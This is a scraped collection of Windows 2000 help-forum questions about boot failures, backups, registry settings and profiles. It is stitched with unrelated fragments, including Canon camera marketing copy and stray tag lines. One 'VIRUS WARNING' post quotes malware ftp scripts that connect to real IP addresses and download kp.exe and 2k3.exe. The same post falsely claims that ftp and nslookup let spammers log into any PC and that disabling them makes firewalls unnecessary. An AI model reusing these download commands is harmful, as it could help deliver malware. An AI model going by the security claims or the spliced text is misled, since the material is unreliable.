    - Best procedure/soft for backup of entire drive ? Hello, I'm looking for a backup software that would enable me to do the following in case of hard disk crash: 1/ boot from a CD containing the backup/restore program and a USB driver, 2/ plug an external USB disk containing the image of my crashed hard drive, 3/ then find this image from my CD, and restore it to a brand new internal hard disk. To sum up: I'm looking for a small software, allowing me to install it on a CD to boot from, on which I'll put a USB driver as well, to access an external USB disk containing my backups... I'd like to be able to backup an entire drive, whatever the filesystems (NTFS...) existing on them... Are there free programs to do that ? In advance, thanks very much.

    - missing pagefile.sys On reboot yesterday, the first in some weeks, Windows 2000 5.00.2195 SP4 encountered the subject: error exactly as described in http://support.microsoft.com/?id=315270 Efforts to follow the remedy stated are meeting difficulties. The pagefile is indeed defined and of size 800-1000 MB , the computer name is "w2k2." as it's been since inception several years ago. The difficulty starts in Step 3-f, as we don't have a "Computer Name" tab in the System Properties dialog, but it's possible to rationalize using the "Network Identification" tab instead, as it's the only possibility that makes sense. The larger difficulty comes in step 4, as there is no "File menu" from which to make the subsequent selections. What are we missing here please? There are a few services which haven't started due to "Error 5: Access is Denied" problems, and that's what prompted the reboot in the first place. Things are rather awkward as the machine is headless; we normally access it using the "VNC server" service, but that's one of the services that can't start. Is there any help available please?

    - Changing the Windows Explorer View to 'List' from 'icons' Hello, Windows 2000 SP4, Windows XP SP2, Windows 2003 AD Domain in Windows 2000 mode. I've written a script that changes the windows explorer view to 'list'. It works by writing values to the 'Streams' key in HKCU and seems to work fine when I run this as an administrator. However, when I login as a non-administrator, the view is still 'icons'. I have written a second script to interrogate the registry to verify that the changes that I made had been written successfully - they had. Given that the non-administrator user has group policy settings applied to them, would this be the reason why my registry changes are not taking effect? As far as I can tell, there is no mention of the 'Streams' key in the ADM files that are applied to the client/user. The following policies are applied to Windows Explorer and seem to update HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer Do not track shell shortcuts during roaming Hide these drives in My Computer Hide Manage on Explorer contect menu No 'Computers Near Me' in Network Places No 'Entire Network' in Network Places Prevent access to these drives in My Computer Remove DFS, Hardware Tabs Remove Search Remove UI to change Keyboard navigation indicator and menu animation settings Remove Folder Options on tools Turn on Classic Shell I have performed a test and updated my scripts to write to the 'Policies' Key (by adding the user to an administrative group). The results were that the registry entries were created, but again, no change was made in Windows Explorer Also I could not find a policy that defined the Windows Explorer view, otherwise I would have used that as a method of setting the view for the user. I've included below the script that modifies the registry - It does a check for XP or 2000 as we have both clients in our environment. Any help would be appreicated either in suggesting an alternative method of changing the explorer view, or suggestions why the registry changes are not being 'read' or 'applied' by users who have the GPO's applied.

    - *** VIRUS WARNING!!! *** I have discovered how Spammers are able to access people's Computers to spew out their Spyware garbage, and it is Microsoft's OS which has made this possible! Spammers utilize two commands: the "nslookup" Command and the "ftp" Command found in c:\winnt\system32 -- which you can review in the Windows Help Menu. Spammers can also use a HTML E-Mail you open on your Computer while logged onto the Internet to download a Virus. Those E-Mails you get from friends telling you to forward it on to others, in order to get good luck or money, are nothing but a SCAM perpetrated by the Spammers! DELETE those E-Mails -- DO NOT open them!!! Last month after separately opening two of those E-Mails, I ended up with a Virus on my Computer spewing out data over the Internet, and also the following two Text Files given the name "i" under the 'winnt' Directory. --- \winnt\i open 136.145.69.79 2755 user 1 1 get kp.exe quit --- \winnt\i open 208.111.5.228 2755 user 1 1 get 2k3.exe quit --- The Virus Commands I subsequently found under the 'winnt' or 'system32' Directories corresponded to the two ".exe" Files named in those two Text Files. I didn't know where those 4 Command Lines in those "i" Files were executable until just today when I looked up the "ftp" Command in Help. Those are 4 sub-commands which caused my Computer to open up the said IP Address and Port#, log in as the user 1 1, download the Virus Command, and then quit "ftp". Since I'm a Dial-up user, I immediately noticed something wrong because this immediately clogged up my Internet Connection. A High Speed user might not notice anything! It is unbelievable, but the "ftp" Command enables the Spammer to log onto your Computer WITHOUT using an ID and Password! Further, "ftp" enables the Spammer to prevent you from seeing what it is doing on your Computer!!! I'm not kidding! Further still, the "nslookup" Command enables the Spammer to find out your IP Numbers and Computer ID so that he can use the "ftp" Command! It is as if Microsoft specifically designed these two Commands to help Spammers! As far as I can tell, you cannot disable either of these Commands. You can rename "ftp.exe" to "ftp.exe.rename" and "nslookup.exe" to "nslookup.exe.rename" in order to make them non-executable, but I don't think this will solve the problem. Would a Microsoft Corporation technician please inform us if these two Command functions can be disabled? If not, Microsoft needs to IMMEDIATELY provide a Service Pack or update to enable these two functions to be disabled using the "net stop / start" Command. With these functions disabled, a Firewall Application becomes completely unnecessary! Tag: Help how to get MS update back to English Tag: 563362

    - background won't stick I have read the various posts on this issue but none fits exactly. Computer is operating on Windows XP connected to a server with full admin rights to the local machine. If we change the background it sticks for a while but then changes by itself and sort of tiles the image, but not exactly. It divides the large full screen picture and puts the bottom right corner of the picture in the top left corner of the screen and the top left part of the picture in the lower right corner of the machine. For example we put the coffee bean back ground on and it does fine for a while and later it will have the moon back ground image, divided as desribed above. I looked for the Active Desktop content check box and I don't see that under any of the tabs. any suggestions would be appreciated. Tag: Help how to get MS update back to English Tag: 563354

    - How do I remove the dual boot option? I have an old Win98 machine that is being donated to some kids. I wiped the drive and put a fresh install of Win98 from the original CD. I then upgraded it to Windows 2000 with the upgrade CD we bought a few years later. However when I upgraded I had the choice of totally removing W98 or adding Win2K to Win98. I chose total removal of Win98, and convert to NTFS file system. Now when I boot it asks me whether I want to use Microsoft Windows 2000 or Microsoft Windows. I didn't want this to be a dual boot machine. There is a Windows folder and a WINNT folder. How do I remove Windows98 completely (very small hard drive) and remove the dual boot option at the beginning so it only knows Windows 2000? Tag: Help how to get MS update back to English Tag: 563330

    - Repeat on boot-up Hey all...I have a kind of old HP at home with Windows 2000 Pro. I ran a virus scan the other day and found I had infected .dll files that couldn't be repaired. I chose to delete some of them, stupidly, and now the system goes into a loop when I power on. It shows the HP logo, then the WIndows 2000 loading screen (the bar fills up all the way), and then a blue screen and repeats over and over again. The F8 options do nothing. Is there any way around this without having to reinstall Windows, because it wasn't mine and therefore don't have the reinstall software. Thanks!

    - Windows Service Pack 4 ~ Problems with the Registry I want to inform Windows 2000 users about problems which Service Pack 4 can cause. I can state from personal experience that installing Service Pack 4 can screw up some of your previously-installed Software. After installing SP4, my FaxTalk Modem Software didn't work properly, and using the Windows procedure to "Remove" and re-install it, didn't solve the problem. The Windows Remove procedure didn't remove the FaxTalk's contents in the Registry. Thankfully, the FaxTalk Website provided information to manually remove it from the Registry, and after doing that it re-installed correctly. So, if you should have some new problem with a Software Application after installing SP4, you need to manually remove (including from the Registry) and re-install the Software. Hopefully that will solve the problem. Tag: Help how to get MS update back to English Tag: 563291

    - Reboot? I have an odd situation that may (or may not) be related to my Win2K configuration. I run AVG antivirus on 4 machines all with Win2K. AVG is set to update automatically each day. Recently, on one machine only, the update software is demanding a machine reboot to complete the update. It didn't used to do this and none of the other machines do it and they are all receiving the same updates. This leads me to believe it's a difference in OS configuration which is necessitating this reboot. It's a minor nuisance but does anyone have any idea what might affect this?

    - Reinstalling RAID Drivers Hi all, I have a Dell PowerEdge 2500 server, which has a PERC 3Di RAID controller in it, attached to two 36G drives, which are mirrored, running Windows 2000 SBS. We have been having problems lately, where one drive has been going offline - so the other day, we tried to install some of Tools from the Dell website, for diagnosis - unfortunately, one of them, it would appear, has somehow deleted or replaced the correct driver - after restarting (to complete an install of one of the tools), we now get a STOP Error: INACCESSIBLE_BOOT_DEVICE. The drives are online at the moment, the array is intact and the data seems to be on the disk (I've used a boot CD to get in and check the data) - so I'm thinking this must be a driver issue - especially given the nature of the stuff we were installing at the time. So my question: How do I get the correct driver installed if I can't get into Windows? I have the 2000 SBS install media, so I can run Recovery Console. I also have a valid, full, NTBACKUP backup of the system, again if that's any good (I was going to restore System State - but again, I can't get into Restore Mode because it won't boot). HELP! Thanks in advance, DSt. Tag: Help how to get MS update back to English Tag: 563192

    - dueal boot - blue and white screen On ASUS notebook with Windows XP Home attempted to make it dual boot to install W2K. Before dong any changes I copied original ntldr (245K) and ntdetect.com(47K). With Partition Magic created an NTFS primary partition and installed W2K Pro which went smoothly, and W2K was running OK XP Home would not start at all because, as I seem to remember, ntldr(211K) and ntdetect.com(34K) generated by W2K would not load XP, -so I replaced them with the those of XP Home I copied earlier. Now after selecting XPHome it produces the screen suggesting several modes of loading XP Home, but whatever mode I select it just restarts the computer. I replaced ntldr and ntdetect.com with ntldr(230K) and ntdetect.com(47K) from my working desktop. The first - booting into XP gave the same result, i.e. list of loading optioons and restarting the computer. But now W2K would not start. After shortly flashing that screen of starting W2K, it produced a blue_and_white screen of some gobbledegook among which there are english patterns like STOP: 0x000000A5 (0x00000002, 0x8907DE88,0x88FB23ó8,0x00000001) ASPI BIOS "readme.txt" http://www.hardware-update.com <F&> (I guess the remaining gobbledegook represent Cyrilics as the computer is localised for Russia) I placed the screenshot here: www.pifpaf.front.ru/blue_white_screen.jpg What might be the problem and the remedy?

    - cannot delete empty folders, cannot W-update, cannot inplace upgrade After giving up on the problem deleting recently emptied folders, I tried to update the W2K installation. This failed with a fairly common error message EOX..... the details of which I do not have access to for reasons explained below. None of the MS site suggestions allowed the windows update to begin. Assuming the W2K SP4 installation to be corrupt, I attempted to perform an in-place upgrade, booting from the installation CD with the correct raid drivers available during start-up. After failing to read spxcoins.dl_ off the installation disk, or off a subsequent floppy copy, the inplace upgrade stopped midway during final registry of devices. The spxcoins.dl_ is present on the install disk. The installation program does not display the files name's '.dl_' type, when 'browsing' for the 'missing' file. This is repeated for any subsequent attempt to complete the upgrade. As this is an ntfs installation on a raid device, I have no other operating systems or hardware to retrieve data off the drive, and no access to the second boot option WXP on the second raid hard drive, while the first is non-compos mentis. When I tried to install a temporary W2K OS in a drive mounted in an IDE position, I got the same errors. The correct raid drivers are loaded when booting from the installation CD, via floppy. Booting up into W2K, I get the message that the install did not complete and a run through of the same loop of missing .dl_file and stopped device registry. Any advice on: 1) completing the in-place upgrade 2) retreiving data 3) getting the temporary functional W2K OS installed on an IDE drive. ?

    - User Profiles In a previous posting, I described a problem whereby my computer is booting to what I believe appears to be a different user profile than I have been using for the past year. I am now convinced that this is the problem. Under Documents & Settings (Windows Explorer), an old user profile (call it User#2, removed a year ago) suddenly appeared today. (There was a sudden power outage yesterday for a very brief period, although I use a surge protector.) It is this profile to which the computer is booting. For example, when I first booted up, the desktop was dramatically altered. The icons for this changed desktop are shown in the Desktop folder under User#2. If I open Internet Explorer, there are no Favorites in the Favorites folder, because this folder is empty for User#2. However, if one goes to the Control Panel, Users and Passwords, this profile, User#2, does not appear. My question is: how do I get rid of this profile, if the computer does not show it to exist? When I boot up the computer, the former user profile name that I have used is shown in the boot-up window, but the computer does not boot up to this profile. I suppose that I could try to trick the computer by copying all of the files and folders, shown under the former profile name, into the User#2 profile. However, is there a risk if I delete the old profile name from the system after doing that? If the User#2 profile does not show up now under Users and Passwords, might not the computer boot up at all (except possibly to the Administrator profile)? Fun and games...

    - CDO.dll version 6.0.6603.0 I am having an issue with my Blackberry users. When they enter an appointment in their BB, it shows up in Outlook with the Start Time an hour later than what they created and what shows on the BB. I successfully installed all the DST2007 patches back in March 2007 and had no issues. However, I had an issue with my Exchange 2000 server 3 weeks ago, and it was solved by applying the latest Exchange SP3 update rollup, KB870540, which set my cdo.dll at version 6.0.6603.0. I applied this patch to my BB server too, since it had the Exchange System Manager. This seems to be when users started noticing the issue of the calendar appointments with mismatched start times. RIM support, which exhaustively checked my BES server and found it in perfect working order, tells me that the cdo.dll version I now have somehow does not "include" the DST patch, and must be repaired! However, when I check my registry on the Exchange and BES servers (both Windows server 2000 SP4, I know I know, get it updated), it shows the DynamicDST subkey under the TimeZone Key, which I'm told is the definitive test of whether the DST patch has been applied.Also, my servers have always shown the correct time, and still do now. So my question is, does the KB870540 update somehow disable the DST patch? Is there an established procedure for reapplying the DST after applying the KB870540 update? Thanks.

    - winsxs folder? Re: W2K Pro (SP4) - can I delete the winsxs folder My WINNT folder tree contains a 'winsxs' folder that's 8.8MB & created Sept. 2007. I found it doing some cleanup. Some Google searches indicate that winsxs has some relevance to WinXP and Vista functions only - & as a dll file backup. Other Google hits refer to developmental project functions. Many Google hits represent inquiries like this one but no threads seem to offer solutions. Most references to winsxs seem too technical to be intended for the average home user regardless of such user's expertise. I found no relevant references on the Microsoft Knowledge base. I am very curious how this apparent deadwood folder got installed on my W2K PC (my guess would be by a Windows update) but I'm more concerned about how to safely get rid of it. I'd appreciate this forum's advice. Blithe Tag: Help how to get MS update back to English Tag: 563149

    - Original version of Windows 2000 Pro has re-appeared When I booted up my computer this am, the original version of Windows 2000 Pro appeared (without any of the updates religiously made over the years). There was no internet connection, but all of the My Documents/Program Files folders were intact. I have a backup copy of my hard drive. Can I simply restore the WINNT folder, overwriting existing files that are not shared, and reboot? This is strange...

Did I miss an update from MS to fix this time zone issue since I am in pacific time zone? Or did MS never release one like for XP? It should had changed automatically as of last Sunday.

I canÂ´t get it back again, despite going to the Control Panel -> Mouse and toggled the setting for the wheel to "Enter" and then back to "DoubleClick". Can anybody please give me a clue whatÂ´s going on? It canÂ´t be the mouse, as I have two computers connected with a KVM switch, and the mouse works on the other computer.

Above all, the camera must be dependable -- able to come through in shooting situations that are far less than ideal... even in harsh environmental and handling conditions. The camera must be responsive -- reacting instantly to the photographer's input... able to capture, within a heartbeat, the image in the mind's eye. It must provide a sophisticated feature set that makes it versatile and adaptable and, yet, does not compromise operability. And, of course, it must deliver image quality beyond reproach -- which, in the digital era, means not only virtually noise-free detail, richness of color, and depth of tone, but also sufficient data density to satisfy the widest range of output applications. Today, there is one digital single-lens-reflex (DSLR) camera that meets these criteria as no other: the Canon EOS-1D Mark III. Redesigned and re-engineered from the ground up, Canon's newest flagship EOS is destined to become the next "must have" DSLR for professionals. EOS 1D Mark III Highlights New 10.1-megapixel CMOS sensor Excellence in digital photography starts at the imaging sensor. Canon's uniquely advanced in-house sensor design and manufacturing capabilities are a major reason why EOS Digital SLR cameras consistently deliver state-of-the-art imaging performance. The EOS-1D Mark III features a newly developed 10.1 megapixel Canon CMOS sensor. It fulfills the primary functions of an imaging sensor -- sensitive, accurate, extremely low noise capture of image data -- with unprecedented competence. Its APS-H size sensor results in a 1.3 lens conversion factor, a format that EOS-1D series photographers are familiar with. Moreover, it incorporates Canon's latest CMOS engineering advances that significantly reduce digital noise -- especially in shadow areas -- and expand the useful ISO range. Exceptionally wide ISO range Combining the superb image capture capabilities of the new sensor with advanced Dual DIGIC III Image Processors, the EOS-1D Mark III offers the widest ISO range of any digital SLR in the world (as of February 2007). The standard range of 100 - 3200 can be extended to a remarkable 50 - 6400.* More importantly, the low-noise performance at high ISO settings makes the entire range usable in real-world shooting situations. * Standard output sensitivity. Recommended exposure index. 14-bit A/D converters Whereas earlier EOS digital cameras used 12-bit A/D (Analog-to-Digital) converters, the EOS-1D Mark III employs new 14- bit converters to process the output of the imaging sensor. This ensures smoother tonal transitions and more natural gradations. RAW images are recorded at 14 bits so that the full range of tones captured by the sensor are available in 16-bit TIFF images Tag: Help how to get MS update back to English Tag: 563046

    - PartitionMagic A.K.A. PartitionTragic I had the very bad idea to install two OS's with the help of PartitionMagic on my Windows 2000. I copied my data to a 200GB SATA disk and partitioned the original 80GB disk SATA 2 x 40GB. After installing W2000 the nightmare started. I only have one OS installed (Windows 2000 Professional), however while booting it ask to select 1. Windows 2000 Professional and 2. Windows 2000 Professional!! Yes twice! Besides W2000 is terribly slow. I tried to delete the 80GB partitions and start all over again, but it doesn´t work. Still the PartitionMagic stuff remains in the disk. Still asks to select between W2K Pro and W2K Pro and the computer is slow as hell. Question: What should I do to delete PartitionMagic for good?
